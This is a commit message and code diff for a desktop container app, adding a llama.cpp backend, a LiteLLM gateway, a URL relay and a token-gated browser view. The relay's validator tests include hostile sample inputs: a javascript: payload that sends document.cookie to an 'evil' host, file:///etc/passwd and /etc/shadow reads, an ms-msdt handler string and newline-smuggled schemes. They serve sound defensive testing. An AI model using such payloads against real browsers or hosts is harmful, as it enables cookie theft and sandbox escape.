Add llama.cpp backend, model gateway, URL relay and browser view

Four features, plus a latent bug fix.

llama.cpp backend. Claude Code only ever speaks the Anthropic Messages
API — confirmed empirically by pointing it at a logging server, which
received POST /v1/messages?beta=true. llama-server implements that
natively (verified in its README, alongside --port default 8080), so
this is a plain base-URL backend with no translation shim, the same
shape as Ollama. Its --api-key defaults to none, so the auth token is a
placeholder Claude Code requires and llama-server ignores.

Model alias fix. ANTHROPIC_DEFAULT_HAIKU_MODEL is documented as "also
used for background functionality", and Triple-C set none of the alias
vars. So on every custom-endpoint backend, Claude Code resolved `haiku`
to an Anthropic model id and sent it to a local server that does not
have it — background features failed silently. All four
ANTHROPIC_DEFAULT_{OPUS,SONNET,HAIKU,FABLE}_MODEL vars are now pinned to
the backend's configured model, with an optional Haiku override, and
blanked for Anthropic and Bedrock so those keep Claude Code's defaults.
The deprecated ANTHROPIC_SMALL_FAST_MODEL is never emitted. Existing
Ollama and OpenAI-Compatible containers are recreated once so the new
env reaches them; the snapshot is preserved.

Model gateway. Optional LiteLLM sibling container, off by default,
mirroring stt.rs — this is what makes real OpenAI usable, since
api.openai.com has no /v1/messages. Pinned to v1.96.0 by tag and digest:
the 1.82.7/1.82.8 malware was PyPI-only and never affected the official
images, which is precisely why this builds FROM the image rather than
pip-installing, but 1.84.0 is still the floor for proxy CVEs (API-key
SQLi, Host-header auth bypass, MCP auth bypass). Binds 0.0.0.0 because
project containers consume it, and therefore always sets a master_key —
LiteLLM without one accepts any key. The provider key lives in the OS
keychain and is uploaded into a volume, never an image layer or label.

URL relay. A container-side xdg-open/BROWSER shim opens URLs in the
host's browser. Uses an OSC sequence to /dev/tty rather than a printed
sentinel, because the shim usually runs as a grandchild of a process
capturing its children's output. Degrades to printing the URL when no
terminal is attached, so scheduled tasks do not hang. Only http/https,
with control characters rejected before new URL() — which strips
newlines, so java\nscript: would otherwise parse as javascript:. Nothing
auto-opens; the user confirms. The web terminal shows a tap-to-open
banner instead, since that browser may be a phone across a tunnel.

Browser view. A Project Home tab that watches and takes over the browser
Claude drives with Playwright, using Playwright's own dashboard. Zero
image cost — Playwright stays user-installed. It does not reuse the auth
bridge's PortForward, which binds an unauthenticated port: correct for a
throwaway OAuth listener, wrong for mouse and keyboard control of a
browser in a passwordless-sudo container. Instead a token-gated loopback
proxy checks Host, then token or a forbidden-header origin signal,
before a byte reaches the container. Host ports are confined to
47820..=47827 so CSP frame-src can enumerate them rather than widening
to a wildcard, with a test asserting the two agree.

188 frontend tests, 107 Rust tests, both builds clean.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

app/src/lib/tauri-commands.ts

@@ -1,5 +1,5 @@
 import { invoke } from "@tauri-apps/api/core";
-import type { Project, ProjectPath, ContainerInfo, SiblingContainer, AppSettings, UpdateInfo, ImageUpdateInfo, FileEntry, WebTerminalInfo, SttStatus, InstallOptions, ClaudeSession, ContainerCapabilities, ScheduledTask, ScheduledTaskInput, SchedulerNotification, AuthBridgeStatus } from "./types";
+import type { Project, ProjectPath, ContainerInfo, SiblingContainer, AppSettings, UpdateInfo, ImageUpdateInfo, FileEntry, WebTerminalInfo, SttStatus, GatewayStatus, InstallOptions, ClaudeSession, ContainerCapabilities, ScheduledTask, ScheduledTaskInput, SchedulerNotification, AuthBridgeStatus, BrowserViewStatus, PlaywrightDetection } from "./types";
 
 // Docker
 export const checkDocker = () => invoke<boolean>("check_docker");
@@ -103,6 +103,21 @@ export const pullSttImage = () => invoke<void>("pull_stt_image");
 export const transcribeAudio = (audioData: number[]) =>
   invoke<string>("transcribe_audio", { audioData });
 
+// Model gateway (LiteLLM)
+export const getGatewayStatus = () => invoke<GatewayStatus>("get_gateway_status");
+export const startGateway = () => invoke<GatewayStatus>("start_gateway");
+export const stopGateway = () => invoke<void>("stop_gateway");
+export const checkGatewayHealth = () => invoke<boolean>("check_gateway_health");
+export const buildGatewayImage = () => invoke<void>("build_gateway_image");
+export const pullGatewayImage = () => invoke<void>("pull_gateway_image");
+/** Write-only: the provider API key is never read back out of the keychain. */
+export const setGatewayApiKey = (apiKey: string) =>
+  invoke<void>("set_gateway_api_key", { apiKey });
+export const clearGatewayApiKey = () => invoke<void>("clear_gateway_api_key");
+export const getGatewayAuthToken = () => invoke<string>("get_gateway_auth_token");
+export const regenerateGatewayAuthToken = () =>
+  invoke<string>("regenerate_gateway_auth_token");
+
 // Docker install helper
 export const detectInstallOptions = () =>
   invoke<InstallOptions>("detect_install_options");
@@ -151,6 +166,19 @@ export const setAuthBridgeEnabled = (projectId: string, enabled: boolean) =>
 export const getAuthBridgeStatus = (projectId: string) =>
   invoke<AuthBridgeStatus>("get_auth_bridge_status", { projectId });
 
+// Browser view — watch and take over the browser Claude drives with Playwright
+// inside the container. Off by default, per project. Enabling probes the
+// container, starts the Playwright dashboard in it, and puts a token-gated
+// listener on the host's loopback in front of it; the returned `url` is the
+// only way in, and it is never reachable off the machine.
+export const setBrowserViewEnabled = (projectId: string, enabled: boolean) =>
+  invoke<BrowserViewStatus>("set_browser_view_enabled", { projectId, enabled });
+export const getBrowserViewStatus = (projectId: string) =>
+  invoke<BrowserViewStatus>("get_browser_view_status", { projectId });
+/** Probe for Playwright without starting anything — used to re-check after installing it. */
+export const checkBrowserViewSupport = (projectId: string) =>
+  invoke<PlaywrightDetection>("check_browser_view_support", { projectId });
+
 // Shared Claude Code auth token — one `claude setup-token` run authenticates
 // every Anthropic-backend project. The token itself is never exposed here: it
 // lives in the OS keychain and is injected as a container env var.

app/src/lib/types.ts

@@ -23,6 +23,7 @@ export interface Project {
   backend: Backend;
   bedrock_config: BedrockConfig | null;
   ollama_config: OllamaConfig | null;
+  llamacpp_config: LlamaCppConfig | null;
   openai_compatible_config: OpenAiCompatibleConfig | null;
   allow_docker_access: boolean;
   sandbox_mode_enabled: boolean;
@@ -30,6 +31,8 @@ export interface Project {
   /** Mirror container loopback listeners onto host loopback so in-container
    *  browser OAuth logins can complete. Host-side only — no container recreate. */
   auth_bridge_enabled: boolean;
+  /** Opt in to the browser-view pane. Host-side only, like `auth_bridge_enabled`. */
+  browser_view_enabled: boolean;
   /** Use the shared long-lived Claude Code token (from `claude setup-token`,
    *  held in the OS keychain) instead of this project's own `claude login`.
    *  Defaults to true; only applies when `backend` is "anthropic" and a token
@@ -60,7 +63,22 @@ export type ProjectStatus =
   | "stopping"
   | "error";
 
-export type Backend = "anthropic" | "bedrock" | "ollama" | "open_ai_compatible";
+export type Backend =
+  | "anthropic"
+  | "bedrock"
+  | "ollama"
+  | "llama_cpp"
+  | "open_ai_compatible";
+
+/** Backends that point Claude Code at a non-Anthropic endpoint via
+ *  `ANTHROPIC_BASE_URL`. These get the `ANTHROPIC_DEFAULT_*_MODEL` aliases
+ *  pinned to their configured model; Anthropic and Bedrock do not. Mirrors
+ *  Rust `Backend::uses_custom_endpoint`. */
+export const CUSTOM_ENDPOINT_BACKENDS: readonly Backend[] = [
+  "ollama",
+  "llama_cpp",
+  "open_ai_compatible",
+];
 
 /** Mirrors Rust `PermissionMode` (serde camelCase). */
 export type PermissionMode = "plan" | "default" | "acceptEdits" | "bypass";
@@ -83,12 +101,28 @@ export interface BedrockConfig {
 export interface OllamaConfig {
   base_url: string;
   model_id: string | null;
+  /** Optional override for the model the `haiku` alias resolves to (the alias
+   *  Claude Code uses for background work). Blank falls back to `model_id`. */
+  haiku_model_id: string | null;
 }
 
+/** llama.cpp (`llama-server`) — it natively implements the Anthropic Messages
+ *  API at `POST /v1/messages`, so Claude Code talks to it directly. */
+export interface LlamaCppConfig {
+  base_url: string;
+  model_id: string | null;
+  /** See `OllamaConfig.haiku_model_id`. */
+  haiku_model_id: string | null;
+}
+
+/** Despite the name (kept for existing project data), the endpoint must
+ *  implement the **Anthropic** Messages API — e.g. LiteLLM. */
 export interface OpenAiCompatibleConfig {
   base_url: string;
   api_key: string | null;
   model_id: string | null;
+  /** See `OllamaConfig.haiku_model_id`. */
+  haiku_model_id: string | null;
 }
 
 export interface ClaudeCodeSettings {
@@ -137,11 +171,21 @@ export interface GlobalAwsSettings {
 export interface GlobalOllamaSettings {
   base_url: string | null;
   default_model_id: string | null;
+  /** Global fallback for the `haiku` alias override; blank means "use the
+   *  resolved model id". */
+  default_haiku_model_id: string | null;
+}
+
+export interface GlobalLlamaCppSettings {
+  base_url: string | null;
+  default_model_id: string | null;
+  default_haiku_model_id: string | null;
 }
 
 export interface GlobalOpenAiCompatibleSettings {
   base_url: string | null;
   default_model_id: string | null;
+  default_haiku_model_id: string | null;
 }
 
 export interface AppSettings {
@@ -153,6 +197,7 @@ export interface AppSettings {
   custom_image_name: string | null;
   global_aws: GlobalAwsSettings;
   global_ollama: GlobalOllamaSettings;
+  global_llamacpp: GlobalLlamaCppSettings;
   global_openai_compatible: GlobalOpenAiCompatibleSettings;
   global_claude_instructions: string | null;
   global_custom_env_vars: EnvVar[];
@@ -163,6 +208,7 @@ export interface AppSettings {
   dismissed_image_digest: string | null;
   web_terminal: WebTerminalSettings;
   stt: SttSettings;
+  gateway: GatewaySettings;
   global_claude_code_settings: ClaudeCodeSettings | null;
 }
 
@@ -181,6 +227,35 @@ export interface SttStatus {
   image_exists: boolean;
 }
 
+/** One entry of the gateway's LiteLLM `model_list`. */
+export interface GatewayModel {
+  /** Friendly name a project puts in its model field. */
+  name: string;
+  /** Provider-side model id, e.g. `gpt-5.1`. */
+  model_id: string;
+}
+
+export interface GatewaySettings {
+  enabled: boolean;
+  port: number;
+  /** LiteLLM provider prefix — `openai`, `azure`, `gemini`, … */
+  provider: string;
+  api_base: string | null;
+  models: GatewayModel[];
+}
+
+export interface GatewayStatus {
+  container_exists: boolean;
+  running: boolean;
+  port: number;
+  image_exists: boolean;
+  model_count: number;
+  /** Presence only — the provider API key never leaves the keychain. */
+  has_api_key: boolean;
+  /** The value a project should use as its base URL. */
+  base_url: string;
+}
+
 export interface WebTerminalSettings {
   enabled: boolean;
   port: number;
@@ -351,6 +426,44 @@ export interface AuthBridgeChangedEvent {
   status: AuthBridgeStatus;
 }
 
+// ── Browser view ─────────────────────────────────────────────────────────────
+
+/** What the container has, as reported by the in-container Playwright probe.
+ *  Mirrors Rust `PlaywrightDetection`. */
+export interface PlaywrightDetection {
+  node_version: string | null;
+  playwright_version: string | null;
+  playwright_path: string | null;
+  /** Whether the resolved Playwright declares the `browser.bind()` live-dashboard API. */
+  has_bind: boolean;
+  cli_version: string | null;
+  cli_entry: string | null;
+  /** Module roots the probe searched, echoed back for the "not found" message. */
+  searched: string[];
+}
+
+/** Mirrors Rust `BrowserViewState` (serde snake_case). */
+export type BrowserViewState = "off" | "running" | "unavailable";
+
+export interface BrowserViewStatus {
+  enabled: boolean;
+  state: BrowserViewState;
+  /** Token-bearing loopback URL for the pane's iframe. Never leaves the host. */
+  url: string | null;
+  host_port: number | null;
+  container_port: number | null;
+  started_at: string | null;
+  detection: PlaywrightDetection | null;
+  /** Why the view isn't running, and what to do about it. */
+  message: string | null;
+}
+
+/** Payload of the `browser-view-changed` event. */
+export interface BrowserViewChangedEvent {
+  project_id: string;
+  status: BrowserViewStatus;
+}
+
 /** Payload of the `claude-token-progress` event: milestones during
  *  `acquire_claude_token`. Never contains the token. */
 export interface ClaudeTokenProgressEvent {

app/src/lib/urlRelay.test.ts

@@ -0,0 +1,241 @@
+import { describe, it, expect } from "vitest";
+import {
+  MAX_RELAY_URL_LENGTH,
+  RelayRateLimiter,
+  URL_RELAY_OSC,
+  parseUrlRelayOsc,
+  sanitizeRelayUrl,
+} from "./urlRelay";
+
+/** Build the OSC 7777 payload the container shim emits for `url`. */
+function payloadFor(url: string): string {
+  const bytes = new TextEncoder().encode(url);
+  let binary = "";
+  for (const b of bytes) binary += String.fromCharCode(b);
+  return `open;${btoa(binary)}`;
+}
+
+describe("URL_RELAY_OSC", () => {
+  it("is the private identifier the container shim writes", () => {
+    expect(URL_RELAY_OSC).toBe(7777);
+  });
+});
+
+describe("sanitizeRelayUrl — accepts", () => {
+  it("plain https URLs", () => {
+    expect(sanitizeRelayUrl("https://github.com/login/device")).toBe(
+      "https://github.com/login/device",
+    );
+  });
+
+  it("plain http URLs", () => {
+    expect(sanitizeRelayUrl("http://example.com/")).toBe("http://example.com/");
+  });
+
+  it("long OAuth URLs with query strings", () => {
+    const url =
+      "https://d-1234567890.awsapps.com/start/#/device?user_code=ABCD-EFGH&state=" +
+      "x".repeat(200);
+    expect(sanitizeRelayUrl(url)).toBe(url);
+  });
+
+  it("loopback callback URLs (the CLI, not the host, chose the port)", () => {
+    expect(sanitizeRelayUrl("http://127.0.0.1:8123/callback?code=abc")).toBe(
+      "http://127.0.0.1:8123/callback?code=abc",
+    );
+  });
+
+  it("trims surrounding whitespace before validating", () => {
+    expect(sanitizeRelayUrl("  https://example.com/x  ")).toBe(
+      "https://example.com/x",
+    );
+  });
+
+  it("normalizes so the toast shows exactly what will be opened", () => {
+    expect(sanitizeRelayUrl("https://EXAMPLE.com")).toBe("https://example.com/");
+  });
+
+  it("keeps hyphens and other legal URL punctuation", () => {
+    const url = "https://my-host.example.com/a-b_c~d/e.f?g=h-i#j-k";
+    expect(sanitizeRelayUrl(url)).toBe(url);
+  });
+});
+
+describe("sanitizeRelayUrl — rejects non-http(s) schemes", () => {
+  // The whole point of the allowlist: the container must not be able to make
+  // the host open a scheme that reaches local files, script, or an OS handler.
+  it.each([
+    ["javascript:", "javascript:alert(1)"],
+    ["javascript: with payload", "javascript:fetch('http://evil/'+document.cookie)"],
+    ["file: absolute path", "file:///etc/passwd"],
+    ["file: host share", "file://host/share/secret"],
+    ["data:", "data:text/html,<script>alert(1)</script>"],
+    ["vbscript:", "vbscript:msgbox(1)"],
+    ["blob:", "blob:https://example.com/uuid"],
+    ["ftp:", "ftp://example.com/x"],
+    ["ssh:", "ssh://root@example.com"],
+    ["mailto:", "mailto:someone@example.com"],
+    ["ms-msdt: (protocol handler)", "ms-msdt:/id PCWDiagnostic"],
+    ["smb:", "smb://server/share"],
+    ["custom app handler", "slack://open?team=T123"],
+    ["chrome:", "chrome://settings"],
+    ["about:", "about:blank"],
+  ])("rejects %s", (_label, url) => {
+    expect(sanitizeRelayUrl(url)).toBeNull();
+  });
+
+  it("rejects case-variant javascript:", () => {
+    expect(sanitizeRelayUrl("JaVaScRiPt:alert(1)")).toBeNull();
+  });
+
+  it("rejects a scheme smuggled past a naive check with an embedded newline", () => {
+    // `new URL()` strips tabs and newlines, so "java\nscript:" would parse as
+    // a javascript: URL. The pre-parse control-character check stops it.
+    expect(sanitizeRelayUrl("java\nscript:alert(1)")).toBeNull();
+    expect(sanitizeRelayUrl("java\tscript:alert(1)")).toBeNull();
+    expect(sanitizeRelayUrl("\x00javascript:alert(1)")).toBeNull();
+  });
+});
+
+describe("sanitizeRelayUrl — rejects malformed and hostile input", () => {
+  it("rejects non-strings", () => {
+    expect(sanitizeRelayUrl(undefined)).toBeNull();
+    expect(sanitizeRelayUrl(null)).toBeNull();
+    expect(sanitizeRelayUrl(42)).toBeNull();
+    expect(sanitizeRelayUrl({ href: "https://example.com" })).toBeNull();
+  });
+
+  it("rejects the empty string", () => {
+    expect(sanitizeRelayUrl("")).toBeNull();
+    expect(sanitizeRelayUrl("   ")).toBeNull();
+  });
+
+  it("rejects scheme-less input", () => {
+    expect(sanitizeRelayUrl("example.com")).toBeNull();
+    expect(sanitizeRelayUrl("//example.com")).toBeNull();
+    expect(sanitizeRelayUrl("/etc/passwd")).toBeNull();
+  });
+
+  it("rejects http(s) URLs with no host", () => {
+    expect(sanitizeRelayUrl("http://")).toBeNull();
+  });
+
+  it("does not let an extra slash turn an https URL into a local path", () => {
+    // WHATWG parsing treats the third slash as part of the authority, so this
+    // stays a network URL to the (unresolvable) host "etc" — it never becomes
+    // a read of /etc/passwd.
+    expect(sanitizeRelayUrl("https:///etc/passwd")).toBe("https://etc/passwd");
+  });
+
+  it("rejects embedded credentials (origin spoofing)", () => {
+    expect(
+      sanitizeRelayUrl("https://github.com@evil.example.com/login"),
+    ).toBeNull();
+    expect(sanitizeRelayUrl("https://user:pass@example.com/")).toBeNull();
+  });
+
+  it("rejects control characters and whitespace inside the URL", () => {
+    expect(sanitizeRelayUrl("https://example.com/\x1b]0;pwned\x07")).toBeNull();
+    expect(sanitizeRelayUrl("https://example.com/a b")).toBeNull();
+    expect(sanitizeRelayUrl("https://example.com/a\r\nb")).toBeNull();
+  });
+
+  it("tolerates a trailing newline from the shim's printf", () => {
+    expect(sanitizeRelayUrl("https://example.com/x\n")).toBe(
+      "https://example.com/x",
+    );
+  });
+
+  it("rejects oversized URLs", () => {
+    const huge = "https://example.com/" + "a".repeat(MAX_RELAY_URL_LENGTH);
+    expect(huge.length).toBeGreaterThan(MAX_RELAY_URL_LENGTH);
+    expect(sanitizeRelayUrl(huge)).toBeNull();
+  });
+});
+
+describe("parseUrlRelayOsc", () => {
+  it("decodes the sequence the container shim emits", () => {
+    const url = "https://github.com/login/device";
+    expect(parseUrlRelayOsc(payloadFor(url))).toBe(url);
+  });
+
+  it("round-trips non-ASCII URLs through UTF-8", () => {
+    const url = "https://example.com/café";
+    // WHATWG normalization percent-encodes the path.
+    expect(parseUrlRelayOsc(payloadFor(url))).toBe(
+      "https://example.com/caf%C3%A9",
+    );
+  });
+
+  it("applies the scheme allowlist to the decoded payload", () => {
+    expect(parseUrlRelayOsc(payloadFor("javascript:alert(1)"))).toBeNull();
+    expect(parseUrlRelayOsc(payloadFor("file:///etc/shadow"))).toBeNull();
+  });
+
+  it("rejects an unknown verb", () => {
+    const body = payloadFor("https://example.com/").split(";")[1];
+    expect(parseUrlRelayOsc(`exec;${body}`)).toBeNull();
+    expect(parseUrlRelayOsc(`;${body}`)).toBeNull();
+  });
+
+  it("rejects payloads with no separator", () => {
+    expect(parseUrlRelayOsc("open")).toBeNull();
+    expect(parseUrlRelayOsc("")).toBeNull();
+  });
+
+  it("rejects an empty body", () => {
+    expect(parseUrlRelayOsc("open;")).toBeNull();
+  });
+
+  it("rejects non-base64 bodies without throwing", () => {
+    expect(parseUrlRelayOsc("open;!!!not base64!!!")).toBeNull();
+    expect(parseUrlRelayOsc("open;https://example.com")).toBeNull();
+  });
+
+  it("rejects a body that decodes to invalid UTF-8", () => {
+    expect(parseUrlRelayOsc(`open;${btoa("\xff\xfe")}`)).toBeNull();
+  });
+
+  it("rejects an absurdly large body before decoding", () => {
+    expect(parseUrlRelayOsc(`open;${"A".repeat(MAX_RELAY_URL_LENGTH * 2 + 4)}`))
+      .toBeNull();
+  });
+});
+
+describe("RelayRateLimiter", () => {
+  it("allows the first request", () => {
+    const rl = new RelayRateLimiter();
+    expect(rl.allow("https://a.example/", 0)).toBe(true);
+  });
+
+  it("suppresses a repeat of the same URL inside the dedupe window", () => {
+    const rl = new RelayRateLimiter(5, 10_000, 5_000);
+    expect(rl.allow("https://a.example/", 0)).toBe(true);
+    expect(rl.allow("https://a.example/", 1_000)).toBe(false);
+    expect(rl.allow("https://a.example/", 4_999)).toBe(false);
+  });
+
+  it("allows the same URL again after the dedupe window", () => {
+    const rl = new RelayRateLimiter(5, 10_000, 5_000);
+    expect(rl.allow("https://a.example/", 0)).toBe(true);
+    // Repeats keep pushing the dedupe deadline out; measure from the last one.
+    expect(rl.allow("https://a.example/", 6_000)).toBe(true);
+  });
+
+  it("caps the number of distinct prompts in the sliding window", () => {
+    const rl = new RelayRateLimiter(3, 10_000, 1_000);
+    expect(rl.allow("https://a.example/", 0)).toBe(true);
+    expect(rl.allow("https://b.example/", 1_500)).toBe(true);
+    expect(rl.allow("https://c.example/", 3_000)).toBe(true);
+    expect(rl.allow("https://d.example/", 4_500)).toBe(false);
+    expect(rl.allow("https://e.example/", 6_000)).toBe(false);
+  });
+
+  it("recovers once the window slides past the old requests", () => {
+    const rl = new RelayRateLimiter(2, 10_000, 1_000);
+    expect(rl.allow("https://a.example/", 0)).toBe(true);
+    expect(rl.allow("https://b.example/", 100)).toBe(true);
+    expect(rl.allow("https://c.example/", 200)).toBe(false);
+    expect(rl.allow("https://c.example/", 10_200)).toBe(true);
+  });
+});

app/src/lib/urlRelay.ts

@@ -0,0 +1,155 @@
+/**
+ * URL relay — host side of `container/triple-c-open`.
+ *
+ * A CLI inside the container has no browser. When it wants to open a URL
+ * (`gh auth login`, `aws sso login`, `gcloud auth login`, anything honouring
+ * `$BROWSER` or shelling out to `xdg-open`), the container-side shim writes
+ *
+ *     ESC ] 7777 ; open ; <base64(url)> BEL
+ *
+ * to its controlling terminal. xterm.js routes that to an OSC 7777 handler,
+ * which lands here.
+ *
+ * THE CONTAINER IS THE UNTRUSTED SIDE OF THIS BOUNDARY. Everything arriving
+ * over the relay is attacker-controlled if the sandboxed agent misbehaves, so
+ * this module is a validator first and a convenience second:
+ *
+ *  - only `http:` and `https:` survive — `file:`, `javascript:`, `data:` and
+ *    every custom/registered URI handler are rejected. A container able to
+ *    make the host open arbitrary schemes could reach local files, in-page
+ *    script, or any protocol handler the OS has registered, which is a real
+ *    escalation out of the sandbox.
+ *  - embedded credentials (`https://user:pass@host`) are rejected: they are a
+ *    display-spoofing vector in the confirmation toast and in the address bar.
+ *  - control characters, whitespace and oversized payloads are rejected before
+ *    parsing, so the relay can't be used to smuggle escape sequences or to
+ *    push a megabyte of text into the UI.
+ *  - the URL is returned in WHATWG-normalized form, so what the user is shown
+ *    in the toast is exactly what gets opened.
+ *
+ * Opening is never automatic — see `RelayRateLimiter` and the confirmation
+ * toast in TerminalView.
+ */
+
+/** Private OSC identifier used by the relay. Chosen to avoid the numbers in
+ *  common use (0-19, 22, 52, 104, 110-119, 133, 777, 1337). */
+export const URL_RELAY_OSC = 7777;
+
+/** Hard cap on a relayed URL. Real OAuth URLs run to a few hundred chars. */
+export const MAX_RELAY_URL_LENGTH = 8192;
+
+/**
+ * Validate a URL the container asked the host to open.
+ *
+ * @returns the normalized URL, or `null` if it must not be opened.
+ */
+export function sanitizeRelayUrl(raw: unknown): string | null {
+  if (typeof raw !== "string") return null;
+
+  const candidate = raw.trim();
+  if (candidate.length === 0) return null;
+  if (candidate.length > MAX_RELAY_URL_LENGTH) return null;
+
+  // No whitespace or control characters anywhere. Rejecting these before
+  // parsing matters: `new URL()` silently strips tabs/newlines, so
+  // "java\nscript:alert(1)" would otherwise parse as a javascript: URL.
+  // eslint-disable-next-line no-control-regex
+  if (/[\s\u0000-\u0020\u007f]/.test(candidate)) return null;
+
+  let parsed: URL;
+  try {
+    parsed = new URL(candidate);
+  } catch {
+    return null;
+  }
+
+  // Scheme allowlist. Nothing else, ever.
+  if (parsed.protocol !== "http:" && parsed.protocol !== "https:") return null;
+
+  // A special-scheme URL with no host is nonsense and, on some platforms,
+  // resolves in surprising ways.
+  if (parsed.hostname === "") return null;
+
+  // Embedded credentials spoof the displayed origin.
+  if (parsed.username !== "" || parsed.password !== "") return null;
+
+  const normalized = parsed.toString();
+  if (normalized.length > MAX_RELAY_URL_LENGTH) return null;
+
+  return normalized;
+}
+
+/**
+ * Parse the payload of an OSC 7777 sequence (everything between `ESC]7777;`
+ * and the terminator).
+ *
+ * Expected shape: `open;<base64(url)>`. The URL is base64-encoded so that a
+ * `;`, a BEL or an ESC inside it cannot break out of the sequence.
+ *
+ * @returns the validated URL, or `null` if the payload is malformed or the
+ *          URL fails {@link sanitizeRelayUrl}.
+ */
+export function parseUrlRelayOsc(data: string): string | null {
+  if (typeof data !== "string") return null;
+
+  const sep = data.indexOf(";");
+  if (sep === -1) return null;
+
+  const verb = data.slice(0, sep);
+  if (verb !== "open") return null;
+
+  const payload = data.slice(sep + 1);
+  if (payload.length === 0) return null;
+  // base64 of the length cap, plus slack for padding.
+  if (payload.length > MAX_RELAY_URL_LENGTH * 2) return null;
+  if (!/^[A-Za-z0-9+/]+=*$/.test(payload)) return null;
+
+  let decoded: string;
+  try {
+    const binary = atob(payload);
+    const bytes = Uint8Array.from(binary, (c) => c.charCodeAt(0));
+    decoded = new TextDecoder("utf-8", { fatal: true }).decode(bytes);
+  } catch {
+    return null;
+  }
+
+  return sanitizeRelayUrl(decoded);
+}
+
+/**
+ * Throttles relay requests so a runaway (or hostile) process in the container
+ * can't bury the UI in prompts.
+ *
+ * Two limits: a sliding window on total requests, and a short dedup window so
+ * a retry loop around a single URL produces one prompt rather than twenty.
+ */
+export class RelayRateLimiter {
+  private readonly maxInWindow: number;
+  private readonly windowMs: number;
+  private readonly dedupeMs: number;
+  private timestamps: number[] = [];
+  private lastUrl: string | null = null;
+  private lastUrlAt = 0;
+
+  constructor(maxInWindow = 5, windowMs = 10_000, dedupeMs = 5_000) {
+    this.maxInWindow = maxInWindow;
+    this.windowMs = windowMs;
+    this.dedupeMs = dedupeMs;
+  }
+
+  /** @returns true if this request should be surfaced to the user. */
+  allow(url: string, now: number = Date.now()): boolean {
+    if (url === this.lastUrl && now - this.lastUrlAt < this.dedupeMs) {
+      this.lastUrlAt = now;
+      return false;
+    }
+
+    this.timestamps = this.timestamps.filter((t) => now - t < this.windowMs);
+    if (this.timestamps.length >= this.maxInWindow) return false;
+
+    this.timestamps.push(now);
+    this.lastUrl = url;
+    this.lastUrlAt = now;
+    return true;
+  }
+}